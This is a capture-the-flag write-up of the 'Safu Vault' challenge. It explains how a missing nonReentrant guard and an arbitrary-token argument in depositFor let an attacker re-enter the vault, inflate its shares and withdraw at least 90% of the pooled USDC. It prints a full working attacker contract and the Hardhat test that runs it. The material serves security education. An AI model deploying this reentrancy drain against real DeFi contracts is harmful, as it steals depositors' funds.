Challenge 02 - Safu Vault
Safu Labs has just released their SafuVault, the
safestyield generating vault of all time, or so their twitter account says.Their SafuVault expects deposits of USDC and has already gotten 10,000 USDC from users.
You know the drill, drain the funds (at least 90%). You start with 10,000 USDC.
To solve the challenge, we were provided with the complete source code of the vulnerable contract and a .ts file (a unit test file) used to invoke the exploit. It will then verify that the challenge has been solved.
| File | sha1 |
|---|---|
| safu-vault-contracts.tar | 7cf2a5225e611bff70a1fc5a8404d79e43538e71 |
| safu-vault-test.ts | 5e02d3bc908cf4d437be80411c66e3ee64742fd3 |
The challenge is solved if the attacker account manages to drain at least 90% of the funds. The challenge simulates the behavior of a yield generator: users can deposit funds that will be "put to work" to generate revenues.
The main logic is contained inside the SafuVault contract, while the "strategy" to generate revenue is simulated in SafuStrategy.sol. The idea is that a user can deposit something via the SafuVault contract, obtaining some "shares" of the fund based on the deposit done by the user and the fund size. The method used to perform the deposit operation is deposit:
/// @dev entrypoint of funds into the system
/// @dev people deposit with this function into the vault
function deposit(uint256 _amount) public nonReentrant {
strategy.beforeDeposit();
uint256 _pool = balance();
want().safeTransferFrom(msg.sender, address(this), _amount);
earn();
uint256 _after = balance();
_amount = _after - _pool; // Additional check for deflationary tokens
uint256 shares;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount * totalSupply()) / (_pool);
}
_mint(msg.sender, shares);
}
To ensure that the correct amount of tokens is used, even in the case of deflationary tokens, the calculation is performed after the execution of the transfer operation. The number of shares to be minted for the user is derived from the result of shares minted, the total balance of the vault system and the supplied amount of tokens.
There is another version of the deposit method, called depositFor:
/// @dev deposit funds into the system for other user
function depositFor(
address token,
uint256 _amount,
address user
) public {
strategy.beforeDeposit();
uint256 _pool = balance();
IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);
earn();
uint256 _after = balance();
_amount = _after - _pool; // Additional check for deflationary tokens
uint256 shares;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount * totalSupply()) / (_pool);
}
_mint(user, shares);
}
The main differences are:
nonReentrant modifier isn't applied to depositFordepositFor takes a contract as an argument, used as an IERC20 contract.The nonReentrant modifier, as found in the official documentation:
Prevents a contract from calling itself, directly or indirectly. Calling a nonReentrant function from another nonReentrant function is not supported. It is possible to prevent this from happening by making the nonReentrant function external, and making it call a private function that does the actual work.
This modifier therefore prevents recursive calls to the function, which can pose security risks similar to the ones caused by race conditions.
The funds can be withdrawn using the withdraw and withdrawAll methods.
The property, called reentrancy can be exploited in the following way: if we manage to make some recursive calls to depositFor, then we can deceive the statement calculating the given amount of tokens by increasing it, and consequently increase the shares obtained. When the correct amount of shares is obtained, they can be converted to tokens by calling withdrawAll:
uint256 _pool = balance(); // Calculate balance before the transfer operation
IERC20(token).safeTransferFrom(msg.sender, address(this), _amount); // Makes recursive calls to the method, so that the actual balance increase
earn();
uint256 _after = balance();
_amount = _after - _pool; // the amount is greater than the one provided by the user
To perform the attack, the methods depositFor, transferFrom and safeTransferFrom are implemented by a smart contract to be used as an ERC20 class. safeTransferFrom is defined as follows:
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
Follows the contract that implements the attack:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ISafuVault {
function depositFor(
address token,
uint256 _amount,
address user
) external;
function withdrawAll() external;
}
contract SafuStealer {
uint256 loops;
IERC20 immutable token;
ISafuVault immutable safuVault;
constructor (
address tokenAddress,
address safuVaultAddress
) {
token = IERC20(tokenAddress);
safuVault = ISafuVault(safuVaultAddress);
}
function steal() external {
uint256 amount = token.balanceOf(address(this)) / 10; // 10 iterations is fine
safuVault.depositFor(address(this), amount, address(this));
safuVault.withdrawAll();
token.transfer(msg.sender, token.balanceOf(address(this)));
}
function transferFrom(
address _from,
address _to,
uint256 amount
) external {
_from; _to; // Remove "unused variable" compiler warnings
if (loops++ < 10) {
token.transfer(msg.sender, amount);
safuVault.depositFor(address(this), amount, address(this));
}
}
}
Follows the modified unit test file:
import { expect } from "chai";
import { Contract, Signer, BigNumber } from "ethers";
import { ethers } from "hardhat";
const BN = BigNumber;
let precision = BN.from(10).pow(18);
let accounts: Signer[];
let attacker: Signer;
let o1: Signer;
let o2: Signer;
let admin: Signer; // should not be used
let usdcAdmin: Signer; // should not be used
let usdc: Contract; // USDC contract
let safuVault: Contract;
let safuStrategy: Contract;
/// preliminary state
before(async () => {
accounts = await ethers.getSigners();
[attacker, o1, o2, admin, usdcAdmin] = accounts;
let usdcFactory = await ethers.getContractFactory('Token')
usdc = await usdcFactory.connect(usdcAdmin).deploy('USDC','USDC')
// attacker gets 10,000 USDC as starting funds
await usdc.connect(usdcAdmin).mintPerUser(
[await attacker.getAddress(), await admin.getAddress()],
[precision.mul(10_000), precision.mul(10_000)]
)
let safuStrategyFactory = await ethers.getContractFactory('SafuStrategy')
safuStrategy = await safuStrategyFactory.connect(admin).deploy(usdc.address)
let safuVaultFactory = await ethers.getContractFactory('SafuVault')
safuVault = await safuVaultFactory.connect(admin).deploy(safuStrategy.address,'LP Token','LP')
await safuStrategy.connect(admin).setVault(safuVault.address)
// other user deposits 10_000 USDC into the safu yield vault
await usdc.connect(admin).approve(safuVault.address,ethers.constants.MaxUint256)
await safuVault.connect(admin).depositAll()
});
it("solves the challenge", async function () {
const stealerFactory = await ethers.getContractFactory('SafuStealer');
const stealer = await stealerFactory.connect(usdcAdmin).deploy(usdc.address, safuVault.address);
usdc.connect(attacker).transfer(stealer.address, precision.mul(10_000));
stealer.connect(attacker).steal();
});
/// expected final state
after(async () => {
// attacker drains >= 90% of funds
let totalVaultFunds = (await usdc.balanceOf(safuVault.address)) + (await usdc.balanceOf(safuStrategy.address))
expect(totalVaultFunds).to.be.lte(precision.mul(1_000))
expect(await usdc.balanceOf(await attacker.getAddress())).to.be.gte(precision.mul(19_000))
});